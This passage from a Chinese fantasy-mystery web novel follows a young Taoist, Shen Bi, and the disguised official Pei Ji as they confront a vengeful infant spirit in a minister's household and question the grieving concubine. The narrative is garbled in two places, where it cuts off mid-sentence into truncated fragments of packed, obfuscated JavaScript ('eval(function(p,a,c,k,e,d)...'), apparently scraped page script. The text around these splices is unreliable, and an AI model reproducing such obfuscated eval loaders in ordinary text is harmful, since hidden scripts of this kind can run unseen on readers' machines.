一行立刻头皮发麻起来,无比确认这就是昨晚那位裴公子:“没有的司禳使,只是镇宅这事,让我和一停来就好了。” 再看一停,他此时已涨红了脸,只会点头。 裴霁抱胸啧了声:“我这是找了个哑巴当副使?” “对不起裴司禳使……”一停急得脸更红了,“我,我怕说得不好。” “这话不就挺好的么,”裴霁拍拍他的肩,“以后每日说不够二十句,就绕着镇妖司跑二十圈。” “是,裴司禳使。”一停仍苦着脸,但接话速度倒比以前快多了。 裴霁满意地点点头,给这两人一人丢了一份卷宗,开始吩咐起今天的正事。 “户部尚书家里所有人的关系,经历,都要一一研读。此番明面上是去帮助那位上清观的道长,因此虽拿着镇妖司令牌,也不可处处抢先。若在尚书府碰到我,就装作不认识,我在京城不常露面,只要你们不露馅,没人知道我是谁。” 两人知道此间利害,一一认真记下。 裴霁摸摸下巴,又道:“到时我只怕不好开口,以下几点,若那沈璧没有问,你们务必要弄清楚。” “一,尚书府那小妾失去的孩子有几个月了。二,她是如何失去的孩子。三,府中大公子是从何时开始病的。” —— 沈璧和白雪在东市饱餐一顿后,这才往宣阳坊去,临近坊门,白雪便重新化回一缕白烟,溜回了小壶天中。 此处坊墙高耸,难见人影,唯有一名管家模样的人在坊门处候着。 宋管事打量着眼前轻盈走来的少女,在心中暗暗估算着她的出身。 她看着不过十七八岁,一身麻葛青绿衣衫质地粗糙,整张脸也未施粉黛,只从双丫髻两侧分别垂下一根彩线扎就的长辫,瞧着应当不是有钱人家的娘子。偏偏那张小巧白皙的鹅蛋脸明艳动人,将普通衣衫也衬得灵动夺目。 尤其当她眨眼看向自己时,他恍若在她的眸中看见了曲江池三月三的春水。那样的清澈明亮,波光粼粼,似乎只在那时见过。 宋管事一时有些发愣,虽早听说苍梧道长这位弟子年轻有为,但眼前少女看着未免有些太过活泼了—— 活泼得都不像个道士。 若不是见到她腰间系着的玉壶,宋管事几乎有些不敢上前询问。 这也不能怪他,实在是这段时间来往尚书府的道士大多须发花白,不曾有过这样派头的。 可惜,那些道士虽看着让人信服,却都不能解决府中大事,可见长相什么的都不重要,他只希望这少女真如传言间那般有本事,能解了尚书府这诅咒一般的噩梦。 宋管事擦擦额上的汗,恭敬上前,问:“可是上清观沈道长?” 沈璧点点头,跟着他的指引上了备好的车驾,脑中正盘算着一会的大事,忽听这管事再次开了口。 “道长一路辛苦,”宋管事跟着车驾缓缓行走,声音穿透车帘,“此刻府内大公子突然犯起了病,老爷实在是走不开,不然定会亲自来迎,招待不周,还请道长见谅。” “已经很周到了,”沈璧接过车内侍女奉上的茶,“说不准我可帮着瞧瞧大公子的情况。有些奇特症状,或许药理不能解,多是沾了邪物所致。” 少女答话竟如此沉稳,叫宋管事有些意外。看来这上清观虽比不上东明观,但也有几分道韵玄风,弟子还算知礼。 他一迭声应下:“那真是麻烦沈道长了。” 沈璧不在意地笑笑:“管事真是客气,对了,此次还有一位与我同行的裴道长,不知他到了没?” “到了的,”宋管事忙道,“上清观和东明观都派人来嘱咐过,这位裴道长是您的得力助手,老爷已安排住所,叫裴道长稍歇。除此之外,镇妖司那边也派了两人来协助,说是镇妖司裴司禳使手下最得力的两位副使,也已在府中住下。” 那位裴司禳使竟没来?沈璧眼珠一转,一时觉得有些可惜,转念一想,这也无妨,只要镇妖司来了人,效果都是一样的。 马车行驶良久,终于在后花园的一处小院前停了下来,此处远离前院,安静清幽,景色宜人。 沈璧瞧着牌匾上的“蘅芜”二字,刚要走进去,忽见一个五六岁的孩童身影从院墙边一闪而过。 那身影闪得太快,叫沈璧几乎以为自己看错了眼,待要收回目光时,墙角又忽地探出一个脑袋,还是方才那女童。 这次,女童停留的时间久了些,叫沈璧看清了她一张粉雕玉琢的脸。她唇红齿白,面孔娇憨,可那红润的嘴唇边,竟奇异地咧出了一个瘆人的笑,直直朝自己看来。 “那是……”沈璧惊讶地指向那女童,转头欲问宋管事,却见他正面色低沉地朝随车的侍女们呵斥。 “还不快将三娘子送回去!” 宋管事脸色简直黑如铁锅,侍女们立刻低声应是,眼中带了些惧怕,一半上前又哄又劝地将那女童抱走,一半四散开来,似乎是去寻女童的侍女了。 沈璧看着眼前此景,诧异极了。听宋管事的称呼,方才那女童竟是府中的何三娘子何知微。 想起师兄所说,这尚书府的关系也是颇为复杂,户部尚书名为何庭章,他的第一任夫人崔默出身清河崔氏,可谓是丝绸堆里长大的一位美人,可惜红颜薄命,生下两个儿子没多久便过世了,何庭章出身不高,但官做得顺,没多久又娶了太原王氏的小娘子王之薇做续弦,王娘子嫁入何家多年,只诞下一女,便是那位三娘子何知微。 太原王氏属五姓七望之一,乃百年望族,王之薇的女儿无论如何也不会是那副模样才对。沈璧不由好奇:“何三娘子可是患了什么病症?” 宋管事却只是叹气,半晌才道:“三娘子一岁上发了高烧,许是伤了根本,自那以后便总是这副痴傻的模样,还请道长莫怪。” 沈璧想起那女童的眼神,不像是全然的痴傻,又问:“那她平日里可会说话?断断续续的也算。” “极少,”宋管事道,“见到老爷或夫人时才会说两句,但也不过是叫阿爷阿娘,其他时候大多怕生。今日这般,实在是我都未曾见过,多半是看顾娘子的下人们一时惫懒,道长放心,我定报了老爷狠狠责罚他们。” 会说话,眼神也并未飘忽,倒不像三魂残缺的模样。一时想不明白古怪之处,沈璧不再多思,收拾好东西出来对宋管事道:“离这么远,许是我们看走眼了呢,责罚不必,带我去寻那位裴道长吧,我们也该去见见何尚书。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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终于回到正题,方才的两滴泪派上用场。沈璧重重叹出一口气,委屈道:“道友当知,镇妖司原先点的是景和师兄做司禳使,谁知半路竟换成了那位英国公独子,叫我们上清观尴尬万分。我这回进京才知,原来是那位裴公子年过二十还未曾建树,整日游荡在外,任性顽劣,叫英国公给硬拉了回来。这一回来,便是要急着建功立业,这不,立马派了人来尚书府,想是要硬管这件事了。” 游荡在外? 任性顽劣? 裴霁使劲压下跳动的眉心,皮笑肉不笑道:“可我怎么听说,镇妖司的人是来协助我们的呢。” 沈璧立刻摆手叹息:“道友如此与人为善,怕是不懂其间的弯弯绕绕,此事不管是我们上清观还是你们东明观,那都是两头难做。进一步得罪镇妖司和那位纨绔公子,退一步又不好向尚书交代,一个不好便被人记恨。我是惯被人使绊子的,吃点苦也没事,只怕道友你跟着我也一齐受累啊。” 沈璧说罢,差点自己被自己感动。 多艰难的任务,多体贴的她! 可惜,她自得于自己这番滴水不漏的话,完全没注意到裴霁额头的青筋跳了一下又一下。 没多久,便听裴霁道:“沈道长都不怕,我自然也是不怕,不然岂不是给东明观丢脸?” 此话一出,沈璧有一瞬的错愕。 不是,怎么跟计划的不一样? 师兄明明说这裴七生性爱玩,最怕麻烦。她都把话说成这样了,他却表现得要与东明观荣辱与共。 那早干嘛去了? 她上上下下将这人打量了一番,可左看右看,他都是满脸真挚,不似作伪。 无妨,无妨,她还有后手。 沈璧调整呼吸,做出一副感动的模样,道:“道友果真是胸有大志啊!既如此,那就好好跟着我学吧。我定会让你不虚此行。” 她一边望着裴霁的表情,一只手边悄悄背在身后打着手势,没多久,便有一阵细细的女子啼哭声传来。 那哭声尖细凄厉,虽是白日,却叫人毛森骨立。 沈璧瞧着裴七越发凝重的神色,心中便是一喜,恨不得立刻夸白雪几句。 早上真是没白吃! “有我在,道友莫怕!”沈璧装模作样要去捏怀中符纸,动作却是做一步顿三步。 她正期待地等着裴七的尖叫声,耳畔却忽然传来一声轻笑。 沈璧不解地朝裴霁看去—— 别说怕意了,这人简直如在听曲一般,边听唇角还边勾了起来。方才凝重的表情早不知去了哪里。 沈璧愕然愣在原地,不应该啊!莫非是白雪哭得还不够吓人? 思及此,她立刻朝暗处瞪了个眼神,立时,那哭声中又加入了哀嚎,直如青天白日中出现了鬼哭狼嚎,别说裴霁了,她自己听得都觉得有些瘆人。 刚秉着胜券在握的心再次朝裴霁望去,那哭声中却突然混入了一些奇怪的声响—— “嗝呃——嗝呃——” 听着这如水泡浮出水面时的破碎轻响,裴霁悠悠看向面色僵硬的沈璧: “这年头,鬼都开始打嗝了?” 5. 第5章 沈璧被裴霁盯得全身发麻,只能干笑两声:“大约,大约是几只路过的饱死鬼吧。” 她在心里默默捂住脸,就知道不能让白雪吃太多,这下好了,坏事了。 “哦?原来是这样么,我还以为是有人在装神弄鬼呢。”裴霁在心底冷笑两声。 雕虫小技,也想捉弄他。 就在沈璧踏入院子的一刹,他的佩剑便照出了这花妖的存在,此剑名为照影,若周围有妖,便会微微震动。上回在燕一峰没照出,多半是那花妖惧怕蛇妖煞气,躲在了沈璧腰间的玉壶中。若非这次演的是个无能道士,他定要把这花妖打得原形毕露。 燕一峰时没仔细看,现在看来,沈璧腰间这玉壶只怕是上清观至宝,名为小壶天,既可聚气辟邪,又可收纳封印,威力非寻常法器可比。 看来,这位的确是苍梧道长十分疼宠的弟子了。 只是,苍梧道长严厉,上清观作风一向端正,其弟子怎会与妖为伍?这沈璧果真是疑点重重。 两人心中各怀鬼胎,相顾无言,竟十分默契地一同往门口走去。 在院中耽误半晌,不知何时,方才还晴空万里的天忽然开始被乌云笼罩起来,似要下雨。 待到门口,便见宋管事一行人齿颊发颤地等着他们。一见他们出来,宋管事立即急奔上来问:“二位道长可曾听到方才的声响?” “听到了,听到了。”沈璧看着这群人吓得几乎团作一团,心里有些愧疚,“管事不必担忧,不过是路过的几只小鬼,已经解决了。” 宋管事松了口气,只当那小鬼是婴灵招致,心底越发觉得除祟之事刻不容缓,于是一刻也不敢停地引路,走得沈璧气喘吁吁。 侧头一看,裴霁倒是信步闲庭一般,不由叫沈璧有些佩服。 习武之人,终究还是有些不同。 紧赶慢赶,正好在大雨落下的前一刻到了前厅,只见其间已端坐了三人。 主座上那人一身官服,身形极胖,面庞白净,脸上挂着看似亲和的笑。 分明还是春末,他一张脸却已不住地淌出虚汗,需要侍女在一旁打扇。 沈璧又将目光移至下首,左边青年生得剑眉星目,体格健壮,右边妇人却是清瘦至极,形容虚弱,捂着帕子不住地咳嗽。间隙放下手时,她腕间青镯几乎是毫无阻碍地从只剩一把骨头的手腕滑落下来,卡在手肘之处。 这三位,多半就是何尚书与其家人了。 沈璧正要踏入,腰间小壶天却突然轻微地动了动。 小壶天从不轻易示警,除非是它察觉到……此间有邪。 她心下一惊,再抬头,那位二公子何澜松已到了跟前。 他生得一副大大咧咧的模样,礼数却是十分周全,一见她与裴霁,便主动恭敬行礼:“见过两位道长。” 沈璧与裴霁依次还礼,她刚站直,便见何庭章叹着气朝自己走来。 “近日诸事缠身,竟叫我没能见苍梧道长最后一面。我与她多年未见,不曾想,她的弟子都已经这么大了。” “劳何尚书惦记。”沈璧正要行礼,便被何庭章一把阻住。 “两位道长请坐,”何庭章亲自将他们引至座上,这才回到主座,以袖轻拭额间流下的汗,示意侍女奉茶,歉意道,“说起来,有件事不得不知会二位道长,朝廷新设镇妖司,太常寺卿——也就是靖王殿下一番美意,指了一行,一停二位两位副使来帮助二位道长。 沈璧顺着他的眼神看去,两名少年沉默立在座尾,朝她恭敬行了个礼。 这两人怎么看起来傻里傻气的。 罢了,抢了师兄位置的是裴霁,跟他手下的人又无关,只当真的是多了两个帮手好了。 想到此处,沈璧还是微笑着朝二人点了点头。 何庭章心里正忐忑着,见此事如此容易揭过,终于松了口气,转头开始介绍起厅上之人。沈璧这才意识到,何庭章这位夫人的存在感实在是有些太低。 她体型纤弱,不咳嗽时便一直微微垂着头,似乎精神不济,唯有在何庭章说起她时,才略略抬头朝沈璧和裴霁微微一笑,笑中饱含歉意。 那张脸白得几近透明,没有丝毫血色,那一笑也如弱柳扶风,眼中没有丝毫情绪,似乎已因久病而丧失了对所有事情的兴趣,整个人看起来像一张能被轻易揉碎的陈纸。 何庭章在一旁解释:“内子生下知微后就落下了病根,无法行礼,还请二位道长见谅。” 话落,王之薇身后突然蹿出一个圆圆的脑袋。一个约莫五六岁的女孩怯生生地扯着王之薇的袖子,朝他们望来。 沈璧惊讶地瞧着这熟悉的面孔,心底泛出些寒意。怪了,方才这女孩还做出一副吓她的模样,现下怎的倒是如此乖巧。 “知微?”看见女童,何庭章似乎有些惊喜,笑着朝沈璧等人介绍,“这便是我那小女儿。” 他朝女儿招招手:“到阿爷这里来,向各位道长行礼。” 何知微先是望了望母亲,见王之薇淡笑着点点头,这才眨眨眼睛,飞奔着朝父亲跑去。 她几乎是狠狠撞进了男人怀中,何庭章吃痛皱了皱眉,却仍宠溺地摸了摸女儿的头:“下次有外客来,不要再躲在后面。” 说罢,他便牵起女儿,想引她行礼。岂料,他才将何知微转过来,她便脸色一变,不复方才的可爱模样,开始尖利地大哭: “饼……吃饼……吃饼!” 她一边四肢乱蹬,一边口中叫嚷,何庭章几乎都要抓不住,一下从位置上跌落。 王之薇见状,心疼得竟想立即站起身来抱住女儿,可惜身体实在羸弱,一下便气息不足跌回了原位,开始猛烈地咳嗽。 这下,厅里立刻乱成了一锅粥,侍女们从四面八方涌上来,扶起王之薇,帮着何庭章制住何知微,又被何澜松支使去小厨房拿饼子。 直到何知微左手捏着透花糍,右手握着餢飳,她才终于又笑了起来,安安静静地坐在父亲怀中。 安静下来的她面容恬静柔美,分明是一个再可爱不过的女孩,与方才的样子判若两人。 若非地面上还残存着纷乱的脚印与大雨带进的水渍,沈璧几乎要以为刚刚那一切是自己的幻觉。 何三娘子的心智似乎仍停留在婴儿时期,行为和表情都无法预测,当真是不可思议。 经历了这一遭,何庭章也颇有些尴尬,只得叫何澜松先送母女二人回去休息。待整个厅内重新安静下来,沈璧才问:“眼下没见到那位小妾,不知何时方便一见呢?” 见她没问知微的事,何庭章心里悄悄松了口气,答她:“现在便可陪道长一同去看看,再晚些那婴鬼只怕就要出来了。” “何尚书莫怕,”沈璧自怀中取出一早准备好的符纸,“将这些符箓一一贴在府内除小妾住所之外的所有门窗之上,可保今夜无虞。除去跟着我们的人,其余人到了晚间都不要出门,我要堵死那婴灵的路,叫它只能在小妾院中现形。” 何庭章立即让下人接过去办,沈璧便打算起身。瞧见外面没停的大雨,她又停了动作:“大雨会遮盖某些妖的气息,何尚书先与我讲讲整件事的来龙去脉吧。这位小妾是何时入府的?又是如何入府的?” 何庭章轻叹一声,娓娓道来: “我这小妾兰馨原是在留香阁中卖艺的琴女,她是清倌,卖艺不卖身。去岁三月,同僚在家中设宴,请了她上来弹琴,一曲相思赋柔肠百转,让我对她一见如故,于是我便赎了她的身。她入府后,我很是喜爱她,因此,知晓她有身孕时,我很是高兴。可谁料,兰馨怀胎没多久,某天夜里忽然腹中剧痛,那晚我在宫中赴宴,第二天回到家中,才知郎中来看时已是回天乏术,兰馨误食了伤胎之物,孩子便这样没了。自那以后,府中每至夜晚便会有婴儿啼哭声,如此折磨了我们数月,直至今日也不得安宁。” 裴霁从进来后便没说过话,此时却是忍不住讽刺地笑了笑。 这番话可谓避重就轻,一不说这孩子的月份,二不说小妾是如何误食的伤胎之物,何庭章这老狐狸,必定瞒了一大段事。 他可没指望沈璧懂得问这些,于是转头看向厅尾的一行和一停。这两人如木头一般立在原地,也不知把他的话听进去没有。 不曾想,下一刻,沈璧便微笑着看向何庭章,问:“兰馨丢掉孩子时,具体是怀胎几月呢?” 裴霁挑挑眉,等着看何庭章如何作答。 只见他先是怔了一下,而后才面色如常道:“大约是两个月。” 沈璧听罢,心道你这老骗子。 一二月的胎儿只有一点元气,纵被强行剥离母体,也不至于形成怨灵,至少要到三月甚至四月,胎儿的三魂才初步形成,从混沌与游离的状态中脱离出来。 都被婴灵折磨成这样了还撒谎,看来是还没被吓够。 沈璧心里把何庭章骂了千遍,但面上仍是一丝不漏:“何尚书,您若是不肯说实话,恕我帮不了您。” 何庭章听罢,笑容一下僵住了:“道长这是何意啊?” 沈璧见多了不见棺材不落泪的人,半威胁道:“这婴灵目下能恐吓作恶,还知道要挑晚上,可见已有了一定灵智,绝不可能才一两月,若不知具体月份,无法判断婴灵的情况,任由它发展下去,吸食活人的恐惧,只怕不知还会酿出多少祸事。” 果不其然,何庭章听了沈璧这番话,眼中立时出现几分犹豫,那满面的哀色都顾不上接着装,可见心中正天人交战。 裴霁在一旁看着,不由有些想笑。这沈璧果然惯会骗人,还吸食活人的恐惧呢,当真是谎话张口就来,和燕一峰时一般无二。 不过她还算精,知道给何庭章留点面子。 沈璧瞧见裴霁面色奇异地看着自己,还以为他在崇拜自己,心中顿时油然而生一种为人师表的成就感。 好像带个徒弟的感觉也还不错? 于是她再接再厉,又胡编乱造了几句,没多久,何庭章便撑不住吐了实话:“是,我是瞒了道长,兰馨这一胎其实已有四月,可我也是直到孩子掉了才知道实情呀。” 他苦着一张脸接着道:“之前兰馨养胎,找的都是留香阁惯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“她从前并非住在此处,”何庭章见两人面色怪异,急忙辩解,“只是孩子没了后,郎中嘱咐要静养,这才寻了这个偏僻之地。” 沈璧心道,还静养呢,正常人在这种地方养几天都要得病,更何况是刚落胎的女人?只怕是何庭章记恨兰馨给自己戴了绿帽子,这才将人移来此处吧。 待入了正房,兰馨的处境更是让她们讶然。纵已四月,风中仍是带了些寒意,可兰馨这张架子床床帐轻薄,上面还破了几个洞。兰馨落胎时应是一月末,那样刺骨的风,一个才方流产的女人如何能受得住? 不单如此,兰馨那把曾为她带来无数宠爱的琴也落满了灰,屋内一个服侍的侍女都看不见。见他们来,兰馨只能自己从床上挣扎下来,为他们倒茶递水。 “我不渴的,”沈璧心惊胆战地看着兰馨瘦得脱相的脸,扶着她坐下,“请跟我讲讲,那天晚上究竟发生了些什么?你的孩子又是如何掉的?” 提起孩子,兰馨一双眼便蓄起了泪。纵她此时面色极差,仍可由那双明珠般的眼睛中窥见她从前的美。 “那日晚饭后,我嘴馋贪食了许多山楂,原以为没事,可到晚间突然腹中剧痛,我唤人想去如厕,可或许是老天都在惩罚我,那日正好大雨,让雨丝飘进了屋内,侍女还没来得及反应,我便滑倒在了地上。”说到这,她掩面哀哀痛哭起来,“说到底,这一切都是我的错,都是我的错。” 裴霁听罢,轻呵一声,如玩笑一般问:“山楂是能活血化瘀不假,但要到能使人落胎的程度——莫非兰姬吃了足足百斤不成?” 此话一出,何庭章和兰馨的脸色都僵住了。 沈璧心道,裴七这人仗着东明观撑腰,还真是半点不给尚书留面子,狂傲至极。 虽说狂傲,他这话倒也问到了点子上。 兰馨的回答显然是站不住脚的,随意在长安城中找个大夫一问便知,可何庭章竟不放在心上,可见何庭章根本不在乎兰馨,也不在乎这个不是出自他的孩子,自然了,也不会在乎孩子是为何落的胎。 但兰馨作为生母,自然是最清楚孩子是如何落的胎,她又为何要隐瞒? 瞧着何庭章的脸色越发难看,沈璧忽地有些明白了过来,此人为了面子,只怕根本不想让人追究这个孩子的来龙去脉,否则岂非是在告诉所有人堂堂尚书被一个小妾戴了绿帽。 再看看兰馨,面对何庭章时,她眼底满是惧色,只知瑟瑟发抖。看兰馨眼下如此境况,只怕若非何庭章忌惮着婴灵,早就将兰馨弄死了。 尚书府这事果真复杂。 沈璧还在揣度,腰间的小壶天却忽地剧烈振动起来。与此同时,一股穿堂风猛地冲入室内,竟生生将窗户破了开来。 沈璧霍然起身,朝窗外看去,天色不知何时已变得灰暗阴沉。 她心中警铃大作,刚从袖中捏出符纸,便听到一阵“呜咽”声自窗外传来。 起初,那声音很小,似乎只是路过的风声,渐渐地,那声音中多出一丝凄厉,仿佛谁的喉咙被死死掐住,听得人脊背发凉。 呜咽声越发响亮刺耳,到后面竟变为尖利的啼哭,如一把锋刀,终于刺破了屋内的宁静。 “来了,它来了!”何庭章双目欲眦,连身份都顾不上,开始神经质地大喊,“这鬼魂,它又来索命了!” 6. 第 6 章 夜幕降临,婴灵如约而至。 它仿佛玩乐一般,一边卷起阵阵狂风来回拍打着年久失修的窗框和门扉,一边发出“咯咯”的笑声,让人毛骨悚然。 沈璧咬破手指,迅速画了两张镇邪咒,一张贴窗,一张贴门,一下,那风便仿佛泄了劲,再无法撼动窗框和门扉半分,只是,婴灵仍坚持不懈地卷起狂风,一下又一下攻击着窗框和门扉,发出“砰砰”巨响。 “道长,道长,这下该怎么办才好啊?”何庭章躲在沈璧身后,胆战心惊地看着那轻飘飘的符纸,唯恐下一秒婴灵就要破窗而入。 沈璧没空理他,只悄声问裴霁:“知道金罡阵么?知道的话给我护阵。” 裴霁按下躁动的照影剑,刚想回答废话,想起自己扮演的角色,又生生咽了回去,道:“我哪里会。” 他转头指指角落的一行一停:“那不是有两个现成的帮手,叫他们来,我帮你在外面念清心咒。” 沈璧废了好大劲才将那句“这都不会?”咽了回去,反复叮嘱自己,师兄说了要和蔼,和蔼。 她转头看向镇妖司这两人,有些不爽地道:“给我看看你们二人的法器。” 一行解下腰间弯刀,一停解下腰间长鞭,乖乖递给沈璧。 沈璧接过一瞧,便问:“你们是镇元道长的弟子?” 这一刀一鞭,怎么看都像是镇元道长的玉灵刀和镇邪鞭。 一行一停没想到沈璧竟识得他们师门,兴奋点点头:“正是。” “我是一行。” “我是一停。” “那便好办了,”沈璧将法器丢还给二人,“这婴灵才四月,三魂都未生全,又被生生剥离母体,心智残缺,最惧遁形咒,一会儿我出去吸引那婴灵注意,待它虚弱便起阵压制,你们二人一左一右给我护阵。记住,法器在身,口中诵咒,心不可乱。” 沈璧一番话有条不紊,叫裴霁心中疑惑越发加深。前面提问何庭章时可以说是凑巧,但这样的经验,却不会是一个废物道士能有的。 可若是这样,燕一峰那回又该如何解释? 也罢,且看她到底有何本事。横竖他在这,没有妖能掀得起波浪。 一边听着沈璧的话,他一边观察着屋内其余人。当沈璧说到“心智残缺”时,兰馨双眼便红了,再说到“惧怕遁形咒”时,兰馨更是不忍地闭上了双眼,而何庭章的面色从始至终便只有焦急和厌恶,似乎恨不能沈璧立刻将那婴灵制服。 沈璧交代完一行一停,又转头叮嘱这神色各异的二人:“切记,外面声音不停,便不可越出门口半步。” 何庭章自是连连点头,往后小跑几步,躲在了床帐之后,兰馨则是面带忧色,捏着裙摆站在原地。 沈璧几步上前撕了门上的符咒,霎时,凄厉的哭喊声如潮水一般再次涌入屋内。她猛地一推门,便是狂风涌入,桌上的茶壶茶杯都被卷起砸向地面,风声,哭声,瓷块碎裂声,木头断裂声混在一块,叫人根本分不清婴灵所处的位置。 沈璧撸起袖子,将如意珠从腕上剥下掷向空中,开始念咒起势。不过片刻,珠子便四散开来,周身迸发金光,以极快的速度朝着院子的各个方向飞去。 她口中咒声愈响,金光也越发强盛,很快,整个院子便被珠子照得亮如白昼,那团试图隐匿在旋风中的灰白身影立时无所遁形。 “一行一停!” 沈璧大呵一声叫二人准备,食指中指伸直,拇指扣住食指,改换步法,将如意珠迅速聚拢。 这金光可压制一切邪祟妖物,婴灵被照得尖叫一声,立刻掀起更加剧烈的狂风,试图躲开如意珠的包围,不料,如意珠竟死死咬在它身后,将它的去向照得一清二楚。 一行一停看准位置,一前一后挡住它的去路,掀袍坐下,一手执法器,一手掐诀,口中开始默念遁形咒,阻住它的退路。 遁形咒一起,婴灵立刻痛苦地嘶吼起来,那团灰白的影子黑气暴涨,痛苦地在空中来回滚动,拼尽全力想要抵抗。 沈璧坐在阵心,被它那尖利的嘶吼声震得耳膜欲裂。她欲念咒收紧如意珠捆住婴灵,奈何它只有小小一团,灵活至极,一时四分五裂,在如意珠间穿行,一时又聚成一体,自黑影中化出獠牙,试图攻击一行与一停。 “好厉害的婴灵。”沈璧额间汗如雨下,分出一只手捏出袖中符咒,欲再化个纸人偷袭婴灵。不料,那婴灵也是狡猾至极,一眼便看出沈璧意图,停下了嘶吼之声,反从口中迸出凄婉至极的哀哀啼哭。 那啼哭破碎而压抑,仿如渴求母亲的婴孩发出的阵阵悲鸣,凄怆至极。 看着一行和一停眼中都出现怜悯之色,甚至被迷惑得落下泪来,沈璧暗道不好。 “不要受它的蛊惑!”沈璧张口大喊,想要提醒一行一停二人,不得已间停了念咒,吐出几口生气,叫婴灵迅速吸入口中。 若是常妖自然无碍,可婴灵本就是还未成型之物,最喜阳气,尤喜道士的阳气。这下,婴灵体型瞬间庞大起来,长出手脚头脑,哭声也越发震天,震得窗上的符咒都开始摇摇欲坠。 好在这一喊好歹叫醒了一行一停二人,沈璧得以重新集中精力,闭起双眼,更加大声地念起咒来。 兰馨原先满是忧心地呆在屋内,忽听一阵哀哀啼哭自屋外传来。 怀胎四月,她早已和腹中胎儿三魂相通,一下便认出那是自己的孩儿。 她心中一紧,下意识便往前两步。可沈璧的叮嘱言犹在耳,理智战胜了感情,叫她又收回步伐,只紧咬着牙关哭得不能自已。 岂料,那哭声竟随着时间推移越发清晰,越发凄苦,如同一只被抛弃的幼兽在向母兽求助,听得兰馨肝肠寸断,再也忍受不住,朝门口扑去:“孩子,不要伤害我的孩子!” 听到母亲的召唤,婴灵猛地妖力大涨,竟从胸膛中长出第三只手,那手如藤蔓般不断伸长,终化作一缕黑气,敏捷地穿过如意珠,就要奔向兰馨—— 看着那黑气直奔屋内而来,兰馨受哭声迷惑,仍懵懵懂懂地想上前去迎,何庭章则面色扭曲地尖叫起来,不管不顾地往床底爬去。 千钧一发之际,一道银光带着风声斜劈过来,将黑气生生砍成了两截。 “畜生,滚回阵去!” 婴灵发出一声惨叫,迅速缩回了触手。方才它怨气大涨,妖力也跟着大涨,原想趁沈璧专注念咒,迷惑兰馨从外破了这阵,不曾想法阵外竟还有人守着! 裴霁收回照影,将兰馨扯回屋内,又关上门,分别在门窗补了几道符,这才纵身跃回屋顶,继续观察场上的局势。 婴灵被他的照影所伤,一下妖力便弱了许多,眼下大势已定,捆住那婴灵不过是时间问题。 果然,没多久,那婴灵便哀嚎着越缩越小。待缩至一个正常婴儿大小时,分散各处的如意珠便迅速上前合拢,“叮叮”几声,将婴灵牢牢捆在了空中。 黑气渐散,沈璧这才缓缓睁眼,定睛朝那婴灵望去:“寻常妖物被如意珠捆住根本无法存活,你究竟有何冤屈,竟成了这么厉害的怨灵。” 那团灰白色的物体虽还未长出五官手足,却已初具人形,它被如意珠烫得嚎啕大哭,只能朝着方才兰馨的方向不住翻滚,似在祈求母亲救救自己。 一停看得有些不忍:“沈道长,这婴灵只是吓人,并未实 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裴霁眼中划过一丝冷意,不动声色地看了眼一行。一行立即心领神会,上前道:“何尚书,来之前裴司禳使便下过令,绝不能让妖物遗祸长安,若婴灵以怨灵的形态死去,尚书府的怨气只怕要残留数十年,遭殃的恐怕不止尚书府,还有往后数十年的周遭百姓。” 听到这话,何庭章脸上闪过一丝犹豫。 这位裴司禳使的出身谁人不知,因着他那早逝的母亲,圣人对他可谓是处处偏爱,专设镇妖司也就罢了,镇妖司落在哪里不好,偏偏还落在由靖王所辖的太常寺之下,简直是生怕他受半点委屈。 眼下,说是这位裴司禳使的令,搞不好就是圣人的令。 可若是将事情闹大查清,他为官数十载的清名岂非付诸东流? 何庭章咬咬牙,带了最后一丝希望问沈璧:“沈道长,难道便只有解了婴灵怨气这唯一一个万全的办法么?” 沈璧点点头:“寻常婴灵只以魂魄的形式出现,再留恋母亲,也只会停留数日,用入梦或通灵的方式尽了与母亲最后的缘分,称不上妖,说是鬼魂更为准确,可方才所见,府内这婴灵不但力量强大,还在府中盘桓数月,正如这位副使所说,已然是极深重的怨灵。若其以怨灵的形态死去,残留的怨气再如何做法都无法根除。 听到此处,何庭章心中又惧又恨。罢,罢,只恨自己当时色迷心窍,事到如今,他也只能长叹一声:“那便一切都听沈道长的吧。” 说罢,他立时怨毒地盯住兰馨:“还不快快向几位道长交代孩子究竟是如何掉的!” 婴灵感应到了兰馨的恐惧,几乎是同时发出了阵阵嘶吼。 裴霁嘲讽一笑:“何尚书,您若是想让这婴灵怨气更涨,可以试试再大点声吼兰姬。” 何庭章一下住了嘴,脸上神色讪讪,心里却将裴霁恨了个透。 这该死的东明观弟子,竟敢话里话外地刺他! 被裴霁一顶,何庭章这头终于不再作怪,但兰馨却仍是闭口不言。 沈璧万分不解:“你自己也说希望孩子能早日转世投胎,既如此,你为何不肯说实话呢?” 兰馨死死咬着下唇,右手拇指反复抠着食指,不知在想着什么。 好半天,她才憋出了第一句:“沈道长,我,我确实不是因为吃了太多山楂落的胎。” 沈璧耐心等着下半句。 “那日晚膳后,我原在房中坐着休息,不知怎的,忽有一个人影闪进了门,那人身形高大,并未蒙面,可不知为何五官却极其模糊,我被他一下打晕了过去,本想试图在晕过去前看清他的长相,可他的五官似乎能够千变万化,每时每刻都不一样。再醒来时,房中婢女们都说我是忽然睡了过去。” 7. 第 7 章 “她们都说没人来过,让我以为是自己产生了幻觉,后面她们喂我喝下安胎药,我迷迷糊糊又睡了过去,没多久,我便小腹剧痛,这才有了后面的事。” 沈璧问:“安胎药的药渣还有么?” 何庭章挥手召宋管事上前。 “事发很突然,当时并未来得及查验,只怕现在也查不到了。”宋管事抹抹额头的冷汗,“只是,这安胎药一贯是兰姬身边的婢女先试了,没有问题才会让兰姬饮下。” 兰馨点点头:“确实是这样,那日我的婢女当着我的面饮了一口。” 这样一来,线索只剩下那个进入兰馨院中的神秘人了。是人非妖,那便算是查案,按理应移交京兆府处理—— “沈道长!”何庭章打断了她就要说出的话,脸上难得地露出了慌张之色。 他一时着急,连声音都变了调。过后意识到不妥,又将声调软了下来,压低声音对沈璧道:“此事实在不宜闹到京兆府呀。沈道长若需要什么帮助,我一定全力配合。尚书府闹鬼一事人尽皆知,我已是焦头烂额,兰馨一事,道长务必要替我保密才是。” 